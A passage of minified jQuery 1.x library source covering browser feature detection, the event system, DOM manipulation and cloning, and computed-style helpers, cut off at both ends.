input=document.createElement("input"),div=document.createElement("div"),fragment=document.createDocumentFragment();div.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";support.leadingWhitespace=div.firstChild.nodeType===3;support.tbody=!div.getElementsByTagName("tbody").length;support.htmlSerialize=!!div.getElementsByTagName("link").length;support.html5Clone=document.createElement("nav").cloneNode(true).outerHTML!=="<:nav></:nav>";input.type="checkbox";input.checked=true;fragment.appendChild(input);support.appendChecked=input.checked;div.innerHTML="<textarea>x</textarea>";support.noCloneChecked=!!div.cloneNode(true).lastChild.defaultValue;fragment.appendChild(div);div.innerHTML="<input type='radio' checked='checked' name='t'/>";support.checkClone=div.cloneNode(true).cloneNode(true).lastChild.checked;support.noCloneEvent=true;if(div.attachEvent){div.attachEvent("onclick",function(){support.noCloneEvent=false});div.cloneNode(true).click()}if(support.deleteExpando==null){support.deleteExpando=true;try{delete div.test}catch(e){support.deleteExpando=false}}})();(function(){var i,eventName,div=document.createElement("div");for(i in{submit:true,change:true,focusin:true}){eventName="on"+i;if(!(support[i+"Bubbles"]=eventName in window)){div.setAttribute(eventName,"t");support[i+"Bubbles"]=div.attributes[eventName].expando===false}}div=null})();var rformElems=/^(?:input|select|textarea)$/i,rkeyEvent=/^key/,rmouseEvent=/^(?:mouse|pointer|contextmenu)|click/,rfocusMorph=/^(?:focusinfocus|focusoutblur)$/,rtypenamespace=/^([^.]*)(?:\.(.+)|)$/;function returnTrue(){return true}function returnFalse(){return false}function safeActiveElement(){try{return document.activeElement}catch(err){}}jQuery.event={global:{},add:function(elem,types,handler,data,selector){var tmp,events,t,handleObjIn,special,eventHandle,handleObj,handlers,type,namespaces,origType,elemData=jQuery._data(elem);if(!elemData){return}if(handler.handler){handleObjIn=handler;handler=handleObjIn.handler;selector=handleObjIn.selector}if(!handler.guid){handler.guid=jQuery.guid++}if(!(events=elemData.events)){events=elemData.events={}}if(!(eventHandle=elemData.handle)){eventHandle=elemData.handle=function(e){return typeof jQuery!==strundefined&&(!e||jQuery.event.triggered!==e.type)?jQuery.event.dispatch.apply(eventHandle.elem,arguments):undefined};eventHandle.elem=elem}types=(types||"").match(rnotwhite)||[""];t=types.length;while(t--){tmp=rtypenamespace.exec(types[t])||[];type=origType=tmp[1];namespaces=(tmp[2]||"").split(".").sort();if(!type){continue}special=jQuery.event.special[type]||{};type=(selector?special.delegateType:special.bindType)||type;special=jQuery.event.special[type]||{};handleObj=jQuery.extend({type:type,origType:origType,data:data,handler:handler,guid:handler.guid,selector:selector,needsContext:selector&&jQuery.expr.match.needsContext.test(selector),namespace:namespaces.join(".")},handleObjIn);if(!(handlers=events[type])){handlers=events[type]=[];handlers.delegateCount=0;if(!special.setup||special.setup.call(elem,data,namespaces,eventHandle)===false){if(elem.addEventListener){elem.addEventListener(type,eventHandle,false)}else if(elem.attachEvent){elem.attachEvent("on"+type,eventHandle)}}}if(special.add){special.add.call(elem,handleObj);if(!handleObj.handler.guid){handleObj.handler.guid=handler.guid}}if(selector){handlers.splice(handlers.delegateCount++,0,handleObj)}else{handlers.push(handleObj)}jQuery.event.global[type]=true}elem=null},remove:function(elem,types,handler,selector,mappedTypes){var j,handleObj,tmp,origCount,t,events,special,handlers,type,namespaces,origType,elemData=jQuery.hasData(elem)&&jQuery._data(elem);if(!elemData||!(events=elemData.events)){return}types=(types||"").match(rnotwhite)||[""];t=types.length;while(t--){tmp=rtypenamespace.exec(types[t])||[];type=origType=tmp[1];namespaces=(tmp[2]||"").split(".").sort();if(!type){for(type in events){jQuery.event.remove(elem,type+types[t],handler,selector,true)}continue}special=jQuery.event.special[type]||{};type=(selector?special.delegateType:special.bindType)||type;handlers=events[type]||[];tmp=tmp[2]&&new RegExp("(^|\\.)"+namespaces.join("\\.(?:.*\\.|)")+"(\\.|$)");origCount=j=handlers.length;while(j--){handleObj=handlers[j];if((mappedTypes||origType===handleObj.origType)&&(!handler||handler.guid===handleObj.guid)&&(!tmp||tmp.test(handleObj.namespace))&&(!selector||selector===handleObj.selector||selector==="**"&&handleObj.selector)){handlers.splice(j,1);if(handleObj.selector){handlers.delegateCount--}if(special.remove){special.remove.call(elem,handleObj)}}}if(origCount&&!handlers.length){if(!special.teardown||special.teardown.call(elem,namespaces,elemData.handle)===false){jQuery.removeEvent(elem,type,elemData.handle)}delete events[type]}}if(jQuery.isEmptyObject(events)){delete elemData.handle;jQuery._removeData(elem,"events")}},trigger:function(event,data,elem,onlyHandlers){var handle,ontype,cur,bubbleType,special,tmp,i,eventPath=[elem||document],type=hasOwn.call(event,"type")?event.type:event,namespaces=hasOwn.call(event,"namespace")?event.namespace.split("."):[];cur=tmp=elem=elem||document;if(elem.nodeType===3||elem.nodeType===8){return}if(rfocusMorph.test(type+jQuery.event.triggered)){return}if(type.indexOf(".")>=0){namespaces=type.split(".");type=namespaces.shift();namespaces.sort()}ontype=type.indexOf(":")<0&&"on"+type;event=event[jQuery.expando]?event:new jQuery.Event(type,typeof event==="object"&&event);event.isTrigger=onlyHandlers?2:3;event.namespace=namespaces.join(".");event.namespace_re=event.namespace?new RegExp("(^|\\.)"+namespaces.join("\\.(?:.*\\.|)")+"(\\.|$)"):null;event.result=undefined;if(!event.target){event.target=elem}data=data==null?[event]:jQuery.makeArray(data,[event]);special=jQuery.event.special[type]||{};if(!onlyHandlers&&special.trigger&&special.trigger.apply(elem,data)===false){return}if(!onlyHandlers&&!special.noBubble&&!jQuery.isWindow(elem)){bubbleType=special.delegateType||type;if(!rfocusMorph.test(bubbleType+type)){cur=cur.parentNode}for(;cur;cur=cur.parentNode){eventPath.push(cur);tmp=cur}if(tmp===(elem.ownerDocument||document)){eventPath.push(tmp.defaultView||tmp.parentWindow||window)}}i=0;while((cur=eventPath[i++])&&!event.isPropagationStopped()){event.type=i>1?bubbleType:special.bindType||type;handle=(jQuery._data(cur,"events")||{})[event.type]&&jQuery._data(cur,"handle");if(handle){handle.apply(cur,data)}handle=ontype&&cur[ontype];if(handle&&handle.apply&&jQuery.acceptData(cur)){event.result=handle.apply(cur,data);if(event.result===false){event.preventDefault()}}}event.type=type;if(!onlyHandlers&&!event.isDefaultPrevented()){if((!special._default||special._default.apply(eventPath.pop(),data)===false)&&jQuery.acceptData(elem)){if(ontype&&elem[type]&&!jQuery.isWindow(elem)){tmp=elem[ontype];if(tmp){elem[ontype]=null}jQuery.event.triggered=type;try{elem[type]()}catch(e){}jQuery.event.triggered=undefined;if(tmp){elem[ontype]=tmp}}}}return event.result},dispatch:function(event){event=jQuery.event.fix(event);var i,ret,handleObj,matched,j,handlerQueue=[],args=slice.call(arguments),handlers=(jQuery._data(this,"events")||{})[event.type]||[],special=jQuery.event.special[event.type]||{};args[0]=event;event.delegateTarget=this;if(special.preDispatch&&special.preDispatch.call(this,event)===false){return}handlerQueue=jQuery.event.handlers.call(this,event,handlers);i=0;while((matched=handlerQueue[i++])&&!event.isPropagationStopped()){event.currentTarget=matched.elem;j=0;while((handleObj=matched.handlers[j++])&&!event.isImmediatePropagationStopped()){if(!event.namespace_re||event.namespace_re.test(handleObj.namespace)){event.handleObj=handleObj;event.data=handleObj.data;ret=((jQuery.event.special[handleObj.origType]||{}).handle||handleObj.handler).apply(matched.elem,args);if(ret!==undefined){if((event.result=ret)===false){event.preventDefault();event.stopPropagation()}}}}}if(special.postDispatch){special.postDispatch.call(this,event)}return event.result},handlers:function(event,handlers){var sel,handleObj,matches,i,handlerQueue=[],delegateCount=handlers.delegateCount,cur=event.target;if(delegateCount&&cur.nodeType&&(!event.button||event.type!=="click")){for(;cur!=this;cur=cur.parentNode||this){if(cur.nodeType===1&&(cur.disabled!==true||event.type!=="click")){matches=[];for(i=0;i<delegateCount;i++){handleObj=handlers[i];sel=handleObj.selector+" ";if(matches[sel]===undefined){matches[sel]=handleObj.needsContext?jQuery(sel,this).index(cur)>=0:jQuery.find(sel,this,null,[cur]).length}if(matches[sel]){matches.push(handleObj)}}if(matches.length){handlerQueue.push({elem:cur,handlers:matches})}}}}if(delegateCount<handlers.length){handlerQueue.push({elem:this,handlers:handlers.slice(delegateCount)})}return handlerQueue},fix:function(event){if(event[jQuery.expando]){return event}var i,prop,copy,type=event.type,originalEvent=event,fixHook=this.fixHooks[type];if(!fixHook){this.fixHooks[type]=fixHook=rmouseEvent.test(type)?this.mouseHooks:rkeyEvent.test(type)?this.keyHooks:{}}copy=fixHook.props?this.props.concat(fixHook.props):this.props;event=new jQuery.Event(originalEvent);i=copy.length;while(i--){prop=copy[i];event[prop]=originalEvent[prop]}if(!event.target){event.target=originalEvent.srcElement||document}if(event.target.nodeType===3){event.target=event.target.parentNode}event.metaKey=!!event.metaKey;return fixHook.filter?fixHook.filter(event,originalEvent):event},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(event,original){if(event.which==null){event.which=original.charCode!=null?original.charCode:original.keyCode}return event}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(event,original){var body,eventDoc,doc,button=original.button,fromElement=original.fromElement;if(event.pageX==null&&original.clientX!=null){eventDoc=event.target.ownerDocument||document;doc=eventDoc.documentElement;body=eventDoc.body;event.pageX=original.clientX+(doc&&doc.scrollLeft||body&&body.scrollLeft||0)-(doc&&doc.clientLeft||body&&body.clientLeft||0);event.pageY=original.clientY+(doc&&doc.scrollTop||body&&body.scrollTop||0)-(doc&&doc.clientTop||body&&body.clientTop||0)}if(!event.relatedTarget&&fromElement){event.relatedTarget=fromElement===event.target?original.toElement:fromElement}if(!event.which&&button!==undefined){event.which=(button&1?1:(button&2?3:(button&4?2:0)))}return event}},special:{load:{noBubble:true},focus:{trigger:function(){if(this!==safeActiveElement()&&this.focus){try{this.focus();return false}catch(e){}}},delegateType:"focusin"},blur:{trigger:function(){if(this===safeActiveElement()&&this.blur){this.blur();return false}},delegateType:"focusout"},click:{trigger:function(){if(jQuery.nodeName(this,"input")&&this.type==="checkbox"&&this.click){this.click();return false}},_default:function(event){return jQuery.nodeName(event.target,"a")}},beforeunload:{postDispatch:function(event){if(event.result!==undefined&&event.originalEvent){event.originalEvent.returnValue=event.result}}}},simulate:function(type,elem,event,bubble){var e=jQuery.extend(new jQuery.Event(),event,{type:type,isSimulated:true,originalEvent:{}});if(bubble){jQuery.event.trigger(e,null,elem)}else{jQuery.event.dispatch.call(elem,e)}if(e.isDefaultPrevented()){event.preventDefault()}}};jQuery.removeEvent=document.removeEventListener?function(elem,type,handle){if(elem.removeEventListener){elem.removeEventListener(type,handle,false)}}:function(elem,type,handle){var name="on"+type;if(elem.detachEvent){if(typeof elem[name]===strundefined){elem[name]=null}elem.detachEvent(name,handle)}};jQuery.Event=function(src,props){if(!(this instanceof jQuery.Event)){return new jQuery.Event(src,props)}if(src&&src.type){this.originalEvent=src;this.type=src.type;this.isDefaultPrevented=src.defaultPrevented||src.defaultPrevented===undefined&&src.returnValue===false?returnTrue:returnFalse}else{this.type=src}if(props){jQuery.extend(this,props)}this.timeStamp=src&&src.timeStamp||jQuery.now();this[jQuery.expando]=true};jQuery.Event.prototype={isDefaultPrevented:returnFalse,isPropagationStopped:returnFalse,isImmediatePropagationStopped:returnFalse,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=returnTrue;if(!e){return}if(e.preventDefault){e.preventDefault()}else{e.returnValue=false}},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=returnTrue;if(!e){return}if(e.stopPropagation){e.stopPropagation()}e.cancelBubble=true},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=returnTrue;if(e&&e.stopImmediatePropagation){e.stopImmediatePropagation()}this.stopPropagation()}};jQuery.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(orig,fix){jQuery.event.special[orig]={delegateType:fix,bindType:fix,handle:function(event){var ret,target=this,related=event.relatedTarget,handleObj=event.handleObj;if(!related||(related!==target&&!jQuery.contains(target,related))){event.type=handleObj.origType;ret=handleObj.handler.apply(this,arguments);event.type=fix}return ret}}});if(!support.submitBubbles){jQuery.event.special.submit={setup:function(){if(jQuery.nodeName(this,"form")){return false}jQuery.event.add(this,"click._submit keypress._submit",function(e){var elem=e.target,form=jQuery.nodeName(elem,"input")||jQuery.nodeName(elem,"button")?elem.form:undefined;if(form&&!jQuery._data(form,"submitBubbles")){jQuery.event.add(form,"submit._submit",function(event){event._submit_bubble=true});jQuery._data(form,"submitBubbles",true)}})},postDispatch:function(event){if(event._submit_bubble){delete event._submit_bubble;if(this.parentNode&&!event.isTrigger){jQuery.event.simulate("submit",this.parentNode,event,true)}}},teardown:function(){if(jQuery.nodeName(this,"form")){return false}jQuery.event.remove(this,"._submit")}}}if(!support.changeBubbles){jQuery.event.special.change={setup:function(){if(rformElems.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio"){jQuery.event.add(this,"propertychange._change",function(event){if(event.originalEvent.propertyName==="checked"){this._just_changed=true}});jQuery.event.add(this,"click._change",function(event){if(this._just_changed&&!event.isTrigger){this._just_changed=false}jQuery.event.simulate("change",this,event,true)})}return false}jQuery.event.add(this,"beforeactivate._change",function(e){var elem=e.target;if(rformElems.test(elem.nodeName)&&!jQuery._data(elem,"changeBubbles")){jQuery.event.add(elem,"change._change",function(event){if(this.parentNode&&!event.isSimulated&&!event.isTrigger){jQuery.event.simulate("change",this.parentNode,event,true)}});jQuery._data(elem,"changeBubbles",true)}})},handle:function(event){var elem=event.target;if(this!==elem||event.isSimulated||event.isTrigger||(elem.type!=="radio"&&elem.type!=="checkbox")){return event.handleObj.handler.apply(this,arguments)}},teardown:function(){jQuery.event.remove(this,"._change");return!rformElems.test(this.nodeName)}}}if(!support.focusinBubbles){jQuery.each({focus:"focusin",blur:"focusout"},function(orig,fix){var handler=function(event){jQuery.event.simulate(fix,event.target,jQuery.event.fix(event),true)};jQuery.event.special[fix]={setup:function(){var doc=this.ownerDocument||this,attaches=jQuery._data(doc,fix);if(!attaches){doc.addEventListener(orig,handler,true)}jQuery._data(doc,fix,(attaches||0)+1)},teardown:function(){var doc=this.ownerDocument||this,attaches=jQuery._data(doc,fix)-1;if(!attaches){doc.removeEventListener(orig,handler,true);jQuery._removeData(doc,fix)}else{jQuery._data(doc,fix,attaches)}}}})}jQuery.fn.extend({on:function(types,selector,data,fn,one){var type,origFn;if(typeof types==="object"){if(typeof selector!=="string"){data=data||selector;selector=undefined}for(type in types){this.on(type,selector,data,types[type],one)}return this}if(data==null&&fn==null){fn=selector;data=selector=undefined}else if(fn==null){if(typeof selector==="string"){fn=data;data=undefined}else{fn=data;data=selector;selector=undefined}}if(fn===false){fn=returnFalse}else if(!fn){return this}if(one===1){origFn=fn;fn=function(event){jQuery().off(event);return origFn.apply(this,arguments)};fn.guid=origFn.guid||(origFn.guid=jQuery.guid++)}return this.each(function(){jQuery.event.add(this,types,fn,data,selector)})},one:function(types,selector,data,fn){return this.on(types,selector,data,fn,1)},off:function(types,selector,fn){var handleObj,type;if(types&&types.preventDefault&&types.handleObj){handleObj=types.handleObj;jQuery(types.delegateTarget).off(handleObj.namespace?handleObj.origType+"."+handleObj.namespace:handleObj.origType,handleObj.selector,handleObj.handler);return this}if(typeof types==="object"){for(type in types){this.off(type,selector,types[type])}return this}if(selector===false||typeof selector==="function"){fn=selector;selector=undefined}if(fn===false){fn=returnFalse}return this.each(function(){jQuery.event.remove(this,types,fn,selector)})},trigger:function(type,data){return this.each(function(){jQuery.event.trigger(type,data,this)})},triggerHandler:function(type,data){var elem=this[0];if(elem){return jQuery.event.trigger(type,data,elem,true)}}});function createSafeFragment(document){var list=nodeNames.split("|"),safeFrag=document.createDocumentFragment();if(safeFrag.createElement){while(list.length){safeFrag.createElement(list.pop())}}return safeFrag}var nodeNames="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|"+"header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",rinlinejQuery=/ jQuery\d+="(?:null|\d+)"/g,rnoshimcache=new RegExp("<(?:"+nodeNames+")[\\s/>]","i"),rleadingWhitespace=/^\s+/,rxhtmlTag=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,rtagName=/<([\w:]+)/,rtbody=/<tbody/i,rhtml=/<|&#?\w+;/,rnoInnerhtml=/<(?:script|style|link)/i,rchecked=/checked\s*(?:[^=]|=\s*.checked.)/i,rscriptType=/^$|\/(?:java|ecma)script/i,rscriptTypeMasked=/^true\/(.*)/,rcleanScript=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,wrapMap={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:support.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},safeFragment=createSafeFragment(document),fragmentDiv=safeFragment.appendChild(document.createElement("div"));wrapMap.optgroup=wrapMap.option;wrapMap.tbody=wrapMap.tfoot=wrapMap.colgroup=wrapMap.caption=wrapMap.thead;wrapMap.th=wrapMap.td;function getAll(context,tag){var elems,elem,i=0,found=typeof context.getElementsByTagName!==strundefined?context.getElementsByTagName(tag||"*"):typeof context.querySelectorAll!==strundefined?context.querySelectorAll(tag||"*"):undefined;if(!found){for(found=[],elems=context.childNodes||context;(elem=elems[i])!=null;i++){if(!tag||jQuery.nodeName(elem,tag)){found.push(elem)}else{jQuery.merge(found,getAll(elem,tag))}}}return tag===undefined||tag&&jQuery.nodeName(context,tag)?jQuery.merge([context],found):found}function fixDefaultChecked(elem){if(rcheckableType.test(elem.type)){elem.defaultChecked=elem.checked}}function manipulationTarget(elem,content){return jQuery.nodeName(elem,"table")&&jQuery.nodeName(content.nodeType!==11?content:content.firstChild,"tr")?elem.getElementsByTagName("tbody")[0]||elem.appendChild(elem.ownerDocument.createElement("tbody")):elem}function disableScript(elem){elem.type=(jQuery.find.attr(elem,"type")!==null)+"/"+elem.type;return elem}function restoreScript(elem){var match=rscriptTypeMasked.exec(elem.type);if(match){elem.type=match[1]}else{elem.removeAttribute("type")}return elem}function setGlobalEval(elems,refElements){var elem,i=0;for(;(elem=elems[i])!=null;i++){jQuery._data(elem,"globalEval",!refElements||jQuery._data(refElements[i],"globalEval"))}}function cloneCopyEvent(src,dest){if(dest.nodeType!==1||!jQuery.hasData(src)){return}var type,i,l,oldData=jQuery._data(src),curData=jQuery._data(dest,oldData),events=oldData.events;if(events){delete curData.handle;curData.events={};for(type in events){for(i=0,l=events[type].length;i<l;i++){jQuery.event.add(dest,type,events[type][i])}}}if(curData.data){curData.data=jQuery.extend({},curData.data)}}function fixCloneNodeIssues(src,dest){var nodeName,e,data;if(dest.nodeType!==1){return}nodeName=dest.nodeName.toLowerCase();if(!support.noCloneEvent&&dest[jQuery.expando]){data=jQuery._data(dest);for(e in data.events){jQuery.removeEvent(dest,e,data.handle)}dest.removeAttribute(jQuery.expando)}if(nodeName==="script"&&dest.text!==src.text){disableScript(dest).text=src.text;restoreScript(dest)}else if(nodeName==="object"){if(dest.parentNode){dest.outerHTML=src.outerHTML}if(support.html5Clone&&(src.innerHTML&&!jQuery.trim(dest.innerHTML))){dest.innerHTML=src.innerHTML}}else if(nodeName==="input"&&rcheckableType.test(src.type)){dest.defaultChecked=dest.checked=src.checked;if(dest.value!==src.value){dest.value=src.value}}else if(nodeName==="option"){dest.defaultSelected=dest.selected=src.defaultSelected}else if(nodeName==="input"||nodeName==="textarea"){dest.defaultValue=src.defaultValue}}jQuery.extend({clone:function(elem,dataAndEvents,deepDataAndEvents){var destElements,node,clone,i,srcElements,inPage=jQuery.contains(elem.ownerDocument,elem);if(support.html5Clone||jQuery.isXMLDoc(elem)||!rnoshimcache.test("<"+elem.nodeName+">")){clone=elem.cloneNode(true)}else{fragmentDiv.innerHTML=elem.outerHTML;fragmentDiv.removeChild(clone=fragmentDiv.firstChild)}if((!support.noCloneEvent||!support.noCloneChecked)&&(elem.nodeType===1||elem.nodeType===11)&&!jQuery.isXMLDoc(elem)){destElements=getAll(clone);srcElements=getAll(elem);for(i=0;(node=srcElements[i])!=null;++i){if(destElements[i]){fixCloneNodeIssues(node,destElements[i])}}}if(dataAndEvents){if(deepDataAndEvents){srcElements=srcElements||getAll(elem);destElements=destElements||getAll(clone);for(i=0;(node=srcElements[i])!=null;i++){cloneCopyEvent(node,destElements[i])}}else{cloneCopyEvent(elem,clone)}}destElements=getAll(clone,"script");if(destElements.length>0){setGlobalEval(destElements,!inPage&&getAll(elem,"script"))}destElements=srcElements=node=null;return clone},buildFragment:function(elems,context,scripts,selection){var j,elem,contains,tmp,tag,tbody,wrap,l=elems.length,safe=createSafeFragment(context),nodes=[],i=0;for(;i<l;i++){elem=elems[i];if(elem||elem===0){if(jQuery.type(elem)==="object"){jQuery.merge(nodes,elem.nodeType?[elem]:elem)}else if(!rhtml.test(elem)){nodes.push(context.createTextNode(elem))}else{tmp=tmp||safe.appendChild(context.createElement("div"));tag=(rtagName.exec(elem)||["",""])[1].toLowerCase();wrap=wrapMap[tag]||wrapMap._default;tmp.innerHTML=wrap[1]+elem.replace(rxhtmlTag,"<$1></$2>")+wrap[2];j=wrap[0];while(j--){tmp=tmp.lastChild}if(!support.leadingWhitespace&&rleadingWhitespace.test(elem)){nodes.push(context.createTextNode(rleadingWhitespace.exec(elem)[0]))}if(!support.tbody){elem=tag==="table"&&!rtbody.test(elem)?tmp.firstChild:wrap[1]==="<table>"&&!rtbody.test(elem)?tmp:0;j=elem&&elem.childNodes.length;while(j--){if(jQuery.nodeName((tbody=elem.childNodes[j]),"tbody")&&!tbody.childNodes.length){elem.removeChild(tbody)}}}jQuery.merge(nodes,tmp.childNodes);tmp.textContent="";while(tmp.firstChild){tmp.removeChild(tmp.firstChild)}tmp=safe.lastChild}}}if(tmp){safe.removeChild(tmp)}if(!support.appendChecked){jQuery.grep(getAll(nodes,"input"),fixDefaultChecked)}i=0;while((elem=nodes[i++])){if(selection&&jQuery.inArray(elem,selection)!==-1){continue}contains=jQuery.contains(elem.ownerDocument,elem);tmp=getAll(safe.appendChild(elem),"script");if(contains){setGlobalEval(tmp)}if(scripts){j=0;while((elem=tmp[j++])){if(rscriptType.test(elem.type||"")){scripts.push(elem)}}}}tmp=null;return safe},cleanData:function(elems,acceptData){var elem,type,id,data,i=0,internalKey=jQuery.expando,cache=jQuery.cache,deleteExpando=support.deleteExpando,special=jQuery.event.special;for(;(elem=elems[i])!=null;i++){if(acceptData||jQuery.acceptData(elem)){id=elem[internalKey];data=id&&cache[id];if(data){if(data.events){for(type in data.events){if(special[type]){jQuery.event.remove(elem,type)}else{jQuery.removeEvent(elem,type,data.handle)}}}if(cache[id]){delete cache[id];if(deleteExpando){delete elem[internalKey]}else if(typeof elem.removeAttribute!==strundefined){elem.removeAttribute(internalKey)}else{elem[internalKey]=null}deletedIds.push(id)}}}}}});jQuery.fn.extend({text:function(value){return access(this,function(value){return value===undefined?jQuery.text(this):this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(value))},null,value,arguments.length)},append:function(){return this.domManip(arguments,function(elem){if(this.nodeType===1||this.nodeType===11||this.nodeType===9){var target=manipulationTarget(this,elem);target.appendChild(elem)}})},prepend:function(){return this.domManip(arguments,function(elem){if(this.nodeType===1||this.nodeType===11||this.nodeType===9){var target=manipulationTarget(this,elem);target.insertBefore(elem,target.firstChild)}})},before:function(){return this.domManip(arguments,function(elem){if(this.parentNode){this.parentNode.insertBefore(elem,this)}})},after:function(){return this.domManip(arguments,function(elem){if(this.parentNode){this.parentNode.insertBefore(elem,this.nextSibling)}})},remove:function(selector,keepData){var elem,elems=selector?jQuery.filter(selector,this):this,i=0;for(;(elem=elems[i])!=null;i++){if(!keepData&&elem.nodeType===1){jQuery.cleanData(getAll(elem))}if(elem.parentNode){if(keepData&&jQuery.contains(elem.ownerDocument,elem)){setGlobalEval(getAll(elem,"script"))}elem.parentNode.removeChild(elem)}}return this},empty:function(){var elem,i=0;for(;(elem=this[i])!=null;i++){if(elem.nodeType===1){jQuery.cleanData(getAll(elem,false))}while(elem.firstChild){elem.removeChild(elem.firstChild)}if(elem.options&&jQuery.nodeName(elem,"select")){elem.options.length=0}}return this},clone:function(dataAndEvents,deepDataAndEvents){dataAndEvents=dataAndEvents==null?false:dataAndEvents;deepDataAndEvents=deepDataAndEvents==null?dataAndEvents:deepDataAndEvents;return this.map(function(){return jQuery.clone(this,dataAndEvents,deepDataAndEvents)})},html:function(value){return access(this,function(value){var elem=this[0]||{},i=0,l=this.length;if(value===undefined){return elem.nodeType===1?elem.innerHTML.replace(rinlinejQuery,""):undefined}if(typeof value==="string"&&!rnoInnerhtml.test(value)&&(support.htmlSerialize||!rnoshimcache.test(value))&&(support.leadingWhitespace||!rleadingWhitespace.test(value))&&!wrapMap[(rtagName.exec(value)||["",""])[1].toLowerCase()]){value=value.replace(rxhtmlTag,"<$1></$2>");try{for(;i<l;i++){elem=this[i]||{};if(elem.nodeType===1){jQuery.cleanData(getAll(elem,false));elem.innerHTML=value}}elem=0}catch(e){}}if(elem){this.empty().append(value)}},null,value,arguments.length)},replaceWith:function(){var arg=arguments[0];this.domManip(arguments,function(elem){arg=this.parentNode;jQuery.cleanData(getAll(this));if(arg){arg.replaceChild(elem,this)}});return arg&&(arg.length||arg.nodeType)?this:this.remove()},detach:function(selector){return this.remove(selector,true)},domManip:function(args,callback){args=concat.apply([],args);var first,node,hasScripts,scripts,doc,fragment,i=0,l=this.length,set=this,iNoClone=l-1,value=args[0],isFunction=jQuery.isFunction(value);if(isFunction||(l>1&&typeof value==="string"&&!support.checkClone&&rchecked.test(value))){return this.each(function(index){var self=set.eq(index);if(isFunction){args[0]=value.call(this,index,self.html())}self.domManip(args,callback)})}if(l){fragment=jQuery.buildFragment(args,this[0].ownerDocument,false,this);first=fragment.firstChild;if(fragment.childNodes.length===1){fragment=first}if(first){scripts=jQuery.map(getAll(fragment,"script"),disableScript);hasScripts=scripts.length;for(;i<l;i++){node=fragment;if(i!==iNoClone){node=jQuery.clone(node,true,true);if(hasScripts){jQuery.merge(scripts,getAll(node,"script"))}}callback.call(this[i],node,i)}if(hasScripts){doc=scripts[scripts.length-1].ownerDocument;jQuery.map(scripts,restoreScript);for(i=0;i<hasScripts;i++){node=scripts[i];if(rscriptType.test(node.type||"")&&!jQuery._data(node,"globalEval")&&jQuery.contains(doc,node)){if(node.src){if(jQuery._evalUrl){jQuery._evalUrl(node.src)}}else{jQuery.globalEval((node.text||node.textContent||node.innerHTML||"").replace(rcleanScript,""))}}}}fragment=first=null}}return this}});jQuery.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(name,original){jQuery.fn[name]=function(selector){var elems,i=0,ret=[],insert=jQuery(selector),last=insert.length-1;for(;i<=last;i++){elems=i===last?this:this.clone(true);jQuery(insert[i])[original](elems);push.apply(ret,elems.get())}return this.pushStack(ret)}});var iframe,elemdisplay={};function actualDisplay(name,doc){var style,elem=jQuery(doc.createElement(name)).appendTo(doc.body),display=window.getDefaultComputedStyle&&(style=window.getDefaultComputedStyle(elem[0]))?style.display:jQuery.css(elem[0],"display");elem.detach();return display}function defaultDisplay(nodeName){var doc=document,display=elemdisplay[nodeName];if(!display){display=actualDisplay(nodeName,doc);if(display==="none"||!display){iframe=(iframe||jQuery("<iframe frameborder='0' width='0' height='0'/>")).appendTo(doc.documentElement);doc=(iframe[0].contentWindow||iframe[0].contentDocument).document;doc.write();doc.close();display=actualDisplay(nodeName,doc);iframe.detach()}elemdisplay[nodeName]=display}return display}(function(){var shrinkWrapBlocksVal;support.shrinkWrapBlocks=function(){if(shrinkWrapBlocksVal!=null){return shrinkWrapBlocksVal}shrinkWrapBlocksVal=false;var div,body,container;body=document.getElementsByTagName("body")[0];if(!body||!body.style){return}div=document.createElement("div");container=document.createElement("div");container.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px";body.appendChild(container).appendChild(div);if(typeof div.style.zoom!==strundefined){div.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;"+"box-sizing:content-box;display:block;margin:0;border:0;"+"padding:1px;width:1px;zoom:1";div.appendChild(document.createElement("div")).style.width="5px";shrinkWrapBlocksVal=div.offsetWidth!==3}body.removeChild(container);return shrinkWrapBlocksVal}})();var rmargin=(/^margin/);var rnumnonpx=new RegExp("^("+pnum+")(?!px)[a-z%]+$","i");var getStyles,curCSS,rposition=/^(top|right|bottom|left)$/;if(window.getComputedStyle){getStyles=function(elem){if(elem.ownerDocument.defaultView.opener){return elem.ownerDocument.defaultView.getComputedStyle(elem,null)}return window.getComputedStyle(elem,null)};curCSS=function(elem,name,computed){var width,minWidth,maxWidth,ret,style=elem.style;computed=computed||getStyles(elem);ret=computed?computed.getPropertyValue(name)||computed[name]:undefined;if(computed){if(ret===""&&!jQuery.contains(elem.ownerDocument,elem)){ret=jQuery.style(elem,name)}if(rnumnonpx.test(ret)&&rmargin.test(name)){width=style.width;minWidth=style.minWidth;maxWidth=style.maxWidth;style.minWidth=style.maxWidth=style.width=ret;ret=computed.width;style.width=width;style.minWidth=minWidth;style.maxWidth=maxWidth}}return ret===undefined?ret:ret+""}}else if(document.documentElement.currentStyle){getStyles=function(elem){return elem.currentStyle};curCSS=function(elem,name,computed){var 